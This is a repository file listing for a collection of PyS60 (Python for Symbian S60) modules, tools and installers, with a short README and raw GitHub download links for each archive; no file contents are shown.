https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/GulChargeS60V3.zip -------------------------------------------------------------------------------- /Marshal%20tes.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Marshal%20tes.zip -------------------------------------------------------------------------------- /Mods_SendSMS.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Mods_SendSMS.zip -------------------------------------------------------------------------------- /Mute%20Camera.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Mute%20Camera.zip -------------------------------------------------------------------------------- /PyPyc%20v2.0.3.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/PyPyc%20v2.0.3.zip -------------------------------------------------------------------------------- /PyTools_v0_1.sis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/PyTools_v0_1.sis -------------------------------------------------------------------------------- /Py_Shot%20v1.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Py_Shot%20v1.0.zip -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Symbian-Python-Files 2 | .pyd , .py, .pyc files of PyS60(Python for Symbian S60) OS 3 | -------------------------------------------------------------------------------- /STATICNOTE_2nd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/STATICNOTE_2nd.zip -------------------------------------------------------------------------------- /Set_color_1.1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Set_color_1.1.zip -------------------------------------------------------------------------------- /SiS%20管理1.45.sisnn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SiS%20管理1.45.sisnn -------------------------------------------------------------------------------- /SiS%20管理2.0.sisn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SiS%20管理2.0.sisn -------------------------------------------------------------------------------- /SilentInstall.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SilentInstall.zip -------------------------------------------------------------------------------- /SisBoom%20v6.6.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SisBoom%20v6.6.zip -------------------------------------------------------------------------------- /TTime-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/TTime-master.zip -------------------------------------------------------------------------------- /Tes_txtfield.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Tes_txtfield.zip -------------------------------------------------------------------------------- /TweakS-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/TweakS-master.zip -------------------------------------------------------------------------------- /Txtfield_font.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Txtfield_font.zip -------------------------------------------------------------------------------- /agraphics_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/agraphics_3rd.zip -------------------------------------------------------------------------------- /applist-v122.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/applist-v122.zip -------------------------------------------------------------------------------- /applist2_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/applist2_3rd.zip -------------------------------------------------------------------------------- /appuifw2_up_v1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/appuifw2_up_v1.zip -------------------------------------------------------------------------------- /clipboard (01).zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/clipboard (01).zip -------------------------------------------------------------------------------- /conmonitor_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/conmonitor_3rd.zip -------------------------------------------------------------------------------- /gifani_source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/gifani_source.zip -------------------------------------------------------------------------------- /idmini-v-3-0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/idmini-v-3-0.zip -------------------------------------------------------------------------------- /kol_statuspane.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/kol_statuspane.zip -------------------------------------------------------------------------------- /mediakeys_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/mediakeys_3rd.zip -------------------------------------------------------------------------------- /modules.zipcbm.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/modules.zipcbm.zip -------------------------------------------------------------------------------- /progressnotes1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/progressnotes1.zip -------------------------------------------------------------------------------- /pyexpat-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pyexpat-master.zip -------------------------------------------------------------------------------- /pyfileselect2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pyfileselect2.zip -------------------------------------------------------------------------------- /pyinbox-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pyinbox-master.zip -------------------------------------------------------------------------------- /pytwink-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pytwink-master.zip -------------------------------------------------------------------------------- /querylinks_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/querylinks_3rd.zip -------------------------------------------------------------------------------- /scapy-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/scapy-master.zip -------------------------------------------------------------------------------- /show_interest.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/show_interest.zip -------------------------------------------------------------------------------- /source_pys60.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/source_pys60.zip -------------------------------------------------------------------------------- /test_gradient.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/test_gradient.zip -------------------------------------------------------------------------------- /video.pyd_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/video.pyd_3rd.zip -------------------------------------------------------------------------------- /Filter_examplen..zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Filter_examplen..zip -------------------------------------------------------------------------------- /MediaKey_source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/MediaKey_source.zip -------------------------------------------------------------------------------- /Multishot%20103.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Multishot%20103.zip -------------------------------------------------------------------------------- /Pateensy-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Pateensy-master.zip -------------------------------------------------------------------------------- /Pinjector-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Pinjector-master.zip -------------------------------------------------------------------------------- /Python_novi4kov.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Python_novi4kov.zip -------------------------------------------------------------------------------- /SMSWATCH_2nd_112.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SMSWATCH_2nd_112.zip -------------------------------------------------------------------------------- /SiS%20管理1.45+2.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SiS%20管理1.45+2.0.zip -------------------------------------------------------------------------------- /Tap2Menu-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Tap2Menu-master.zip -------------------------------------------------------------------------------- /Txtfield_z_index.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Txtfield_z_index.zip -------------------------------------------------------------------------------- /_agraphics_demo.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/_agraphics_demo.zip -------------------------------------------------------------------------------- /asprite.pyd_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/asprite.pyd_3rd.zip -------------------------------------------------------------------------------- /conmonitor.zipc.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/conmonitor.zipc.zip -------------------------------------------------------------------------------- /fileaudiostream.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/fileaudiostream.zip -------------------------------------------------------------------------------- /mw_imagedecoder.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/mw_imagedecoder.zip -------------------------------------------------------------------------------- /pyinfobox2_epoc.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pyinfobox2_epoc.zip -------------------------------------------------------------------------------- /pymgfetch2_epoc.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pymgfetch2_epoc.zip -------------------------------------------------------------------------------- /pynewfile-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pynewfile-master.zip -------------------------------------------------------------------------------- /pys60net-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pys60net-master.zip -------------------------------------------------------------------------------- /pyswinst-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pyswinst-master.zip -------------------------------------------------------------------------------- /s60-json-library.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/s60-json-library.zip -------------------------------------------------------------------------------- /sis%20man%200.30.sis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/sis%20man%200.30.sis -------------------------------------------------------------------------------- /swtools_3rd_200.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/swtools_3rd_200.zip -------------------------------------------------------------------------------- /take_photo_0.1.1.sis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/take_photo_0.1.1.sis -------------------------------------------------------------------------------- /txtfield.pyd_2nd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/txtfield.pyd_2nd.zip -------------------------------------------------------------------------------- /txtfield.pyd_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/txtfield.pyd_3rd.zip -------------------------------------------------------------------------------- /video_2.0_python.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/video_2.0_python.zip -------------------------------------------------------------------------------- /144480_v-icq..zip.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/144480_v-icq..zip.zip -------------------------------------------------------------------------------- /35_chargerconnecte.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/35_chargerconnecte.zip -------------------------------------------------------------------------------- /Accells_for_ipro7.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Accells_for_ipro7.zip -------------------------------------------------------------------------------- /MultiChannelSound.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/MultiChannelSound.zip -------------------------------------------------------------------------------- /Scan%20Ip%20Genap.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Scan%20Ip%20Genap.zip -------------------------------------------------------------------------------- /StaticNote%20source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/StaticNote%20source.zip -------------------------------------------------------------------------------- /Tap2Screen-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Tap2Screen-master.zip -------------------------------------------------------------------------------- /TopBalance_v1_0_0.sis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/TopBalance_v1_0_0.sis -------------------------------------------------------------------------------- /TopBattery-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/TopBattery-master.zip -------------------------------------------------------------------------------- /Vibractrl-vibrapyd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Vibractrl-vibrapyd.zip -------------------------------------------------------------------------------- /akntextutils2_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/akntextutils2_3rd.zip -------------------------------------------------------------------------------- /appuifw2_up_v1 (01).zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/appuifw2_up_v1 (01).zip -------------------------------------------------------------------------------- /asprite_2.0_python.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/asprite_2.0_python.zip -------------------------------------------------------------------------------- /bfi_3rd_with_source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/bfi_3rd_with_source.zip -------------------------------------------------------------------------------- /camera2._3rdFP2_145.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/camera2._3rdFP2_145.zip -------------------------------------------------------------------------------- /canvaslistbox_1.1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/canvaslistbox_1.1.zip -------------------------------------------------------------------------------- /conmonitor_3rd_test.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/conmonitor_3rd_test.zip -------------------------------------------------------------------------------- /datamapping_3rd_v3.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/datamapping_3rd_v3.zip -------------------------------------------------------------------------------- /filter_2.0_python.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/filter_2.0_python.zip -------------------------------------------------------------------------------- /geticon_2.0_python.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/geticon_2.0_python.zip -------------------------------------------------------------------------------- /glprogress.pyd_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/glprogress.pyd_3rd.zip -------------------------------------------------------------------------------- /iapconnect_3rd_200.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/iapconnect_3rd_200.zip -------------------------------------------------------------------------------- /light_nasa_fixed.sisx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/light_nasa_fixed.sisx -------------------------------------------------------------------------------- /lightcontrol_2ndfp3.sis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/lightcontrol_2ndfp3.sis -------------------------------------------------------------------------------- /maskpng_2.0_python.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/maskpng_2.0_python.zip -------------------------------------------------------------------------------- /maskpng_3rd.zipll.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/maskpng_3rd.zipll.zip -------------------------------------------------------------------------------- /multimbm_2.0_python.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/multimbm_2.0_python.zip -------------------------------------------------------------------------------- /multimbm_3rd_final.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/multimbm_3rd_final.zip -------------------------------------------------------------------------------- /pybtswitch-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pybtswitch-master.zip -------------------------------------------------------------------------------- /pyfileselect2_epoc.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pyfileselect2_epoc.zip -------------------------------------------------------------------------------- /python_2.0_kolayuk.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/python_2.0_kolayuk.zip -------------------------------------------------------------------------------- /rusen_for_kaapython.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/rusen_for_kaapython.zip -------------------------------------------------------------------------------- /soundsystem.pyd_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/soundsystem.pyd_3rd.zip -------------------------------------------------------------------------------- /urlaudiostream_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/urlaudiostream_3rd.zip -------------------------------------------------------------------------------- /八门神器s60v3v5%20S^3_1.75: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/八门神器s60v3v5%20S^3_1.75 -------------------------------------------------------------------------------- /Accells_for_kaapython.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Accells_for_kaapython.zip -------------------------------------------------------------------------------- /AlarmSwitcher-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/AlarmSwitcher-master.zip -------------------------------------------------------------------------------- /GlobalConfirm_source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/GlobalConfirm_source.zip -------------------------------------------------------------------------------- /Hex%20u8%20gendeng.py.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Hex%20u8%20gendeng.py.zip -------------------------------------------------------------------------------- /PyS60-Projects-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/PyS60-Projects-master.zip -------------------------------------------------------------------------------- /SiS%20管理PY1.45+PY2.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SiS%20管理PY1.45+PY2.0.zip -------------------------------------------------------------------------------- /Txtfield_z_index (01).zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Txtfield_z_index (01).zip -------------------------------------------------------------------------------- /camera2_script_tests.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/camera2_script_tests.zip -------------------------------------------------------------------------------- /cfileman_1st_pyd_api.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/cfileman_1st_pyd_api.zip -------------------------------------------------------------------------------- /conmonitor_2.0_python.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/conmonitor_2.0_python.zip -------------------------------------------------------------------------------- /fnmatch-python-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/fnmatch-python-master.zip -------------------------------------------------------------------------------- /folderplay_source_19.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/folderplay_source_19.zip -------------------------------------------------------------------------------- /gps_location_3rd_200.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/gps_location_3rd_200.zip -------------------------------------------------------------------------------- /homescreen_200_5th_S3.sis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/homescreen_200_5th_S3.sis -------------------------------------------------------------------------------- /image1st2_with_source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/image1st2_with_source.zip -------------------------------------------------------------------------------- /pyfileselect_unsigned.sis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pyfileselect_unsigned.sis -------------------------------------------------------------------------------- /recogtex_3rd_src_dll.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/recogtex_3rd_src_dll.zip -------------------------------------------------------------------------------- /smartsis_v2_3_sources.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/smartsis_v2_3_sources.zip -------------------------------------------------------------------------------- /systemcolor_3rd_1.4.5.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/systemcolor_3rd_1.4.5.zip -------------------------------------------------------------------------------- /text_animation_python.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/text_animation_python.zip -------------------------------------------------------------------------------- /to_file_for_kaapython.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/to_file_for_kaapython.zip -------------------------------------------------------------------------------- /xorrun_xorjia_1st_2nd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/xorrun_xorjia_1st_2nd.zip -------------------------------------------------------------------------------- /GetIcon_2nd_wiht_source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/GetIcon_2nd_wiht_source.zip -------------------------------------------------------------------------------- /Metro%20reversal%20plus.sis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Metro%20reversal%20plus.sis -------------------------------------------------------------------------------- /PY2.0%20batch%20compile.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/PY2.0%20batch%20compile.zip -------------------------------------------------------------------------------- /SiS%20管理PY1.45+PY2.0.zipvvb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SiS%20管理PY1.45+PY2.0.zipvvb -------------------------------------------------------------------------------- /akntextutils2_2.0_python.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/akntextutils2_2.0_python.zip -------------------------------------------------------------------------------- /camera2_3rd_5th_S3_200.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/camera2_3rd_5th_S3_200.zip -------------------------------------------------------------------------------- /editionfp_3rd_5th_13caps.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/editionfp_3rd_5th_13caps.zip -------------------------------------------------------------------------------- /editionfp_3rd_5th_v102.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/editionfp_3rd_5th_v102.zip -------------------------------------------------------------------------------- /geticon-3rd_with_source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/geticon-3rd_with_source.zip -------------------------------------------------------------------------------- /globcapture_3rd_145_v3b.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/globcapture_3rd_145_v3b.zip -------------------------------------------------------------------------------- /globcapture_3rd_200_v3a.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/globcapture_3rd_200_v3a.zip -------------------------------------------------------------------------------- /lb_utils_3rd_with_source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/lb_utils_3rd_with_source.zip -------------------------------------------------------------------------------- /multimbm_3rd_with_source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/multimbm_3rd_with_source.zip -------------------------------------------------------------------------------- /set_color_for_kaapython.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/set_color_for_kaapython.zip -------------------------------------------------------------------------------- /txtfield_1.4.5_and_2.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/txtfield_1.4.5_and_2.0.zip -------------------------------------------------------------------------------- /uclipboard100_3rd_source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/uclipboard100_3rd_source.zip -------------------------------------------------------------------------------- /PYINFOBOX1_2nd_testing_113.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/PYINFOBOX1_2nd_testing_113.zip -------------------------------------------------------------------------------- /SMSWATCH_2nd_testing_cyke64.zi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SMSWATCH_2nd_testing_cyke64.zi -------------------------------------------------------------------------------- /SuperPackSIS%200.4.0%20fix.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SuperPackSIS%200.4.0%20fix.zip -------------------------------------------------------------------------------- /applist122a_3rd_5th_S3_200.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/applist122a_3rd_5th_S3_200.zip -------------------------------------------------------------------------------- /encrscr_runencscr_1st_2nd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/encrscr_runencscr_1st_2nd.zip -------------------------------------------------------------------------------- /flashy_3rd_v1.1.0_145_200.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/flashy_3rd_v1.1.0_145_200.zip -------------------------------------------------------------------------------- /kaapython-10-2-1-beta-s60.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/kaapython-10-2-1-beta-s60.zip -------------------------------------------------------------------------------- /missing_header_SDK_symbian70.z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/missing_header_SDK_symbian70.z -------------------------------------------------------------------------------- /missing_header_lib_SDK_symbian: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/missing_header_lib_SDK_symbian -------------------------------------------------------------------------------- /skin-desklock-tipuan-mata.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/skin-desklock-tipuan-mata.zip -------------------------------------------------------------------------------- /tes_geticonmultimbm_os8.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/tes_geticonmultimbm_os8.0.zip -------------------------------------------------------------------------------- /touchclick_3rd_source_experime: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/touchclick_3rd_source_experime -------------------------------------------------------------------------------- /txtfield_2.0_python.zip touch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/txtfield_2.0_python.zip touch -------------------------------------------------------------------------------- /videolight_1.0_3rdFP2_cyke64.z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/videolight_1.0_3rdFP2_cyke64.z -------------------------------------------------------------------------------- /zntxhanpyd_python2.0.0_13caps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/zntxhanpyd_python2.0.0_13caps -------------------------------------------------------------------------------- /Ascreen_beta_3rd_with_example.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Ascreen_beta_3rd_with_example.zip -------------------------------------------------------------------------------- /Flashlight_only_for_3rd_2fp..sis: -------------------------------------------------------------------------------- 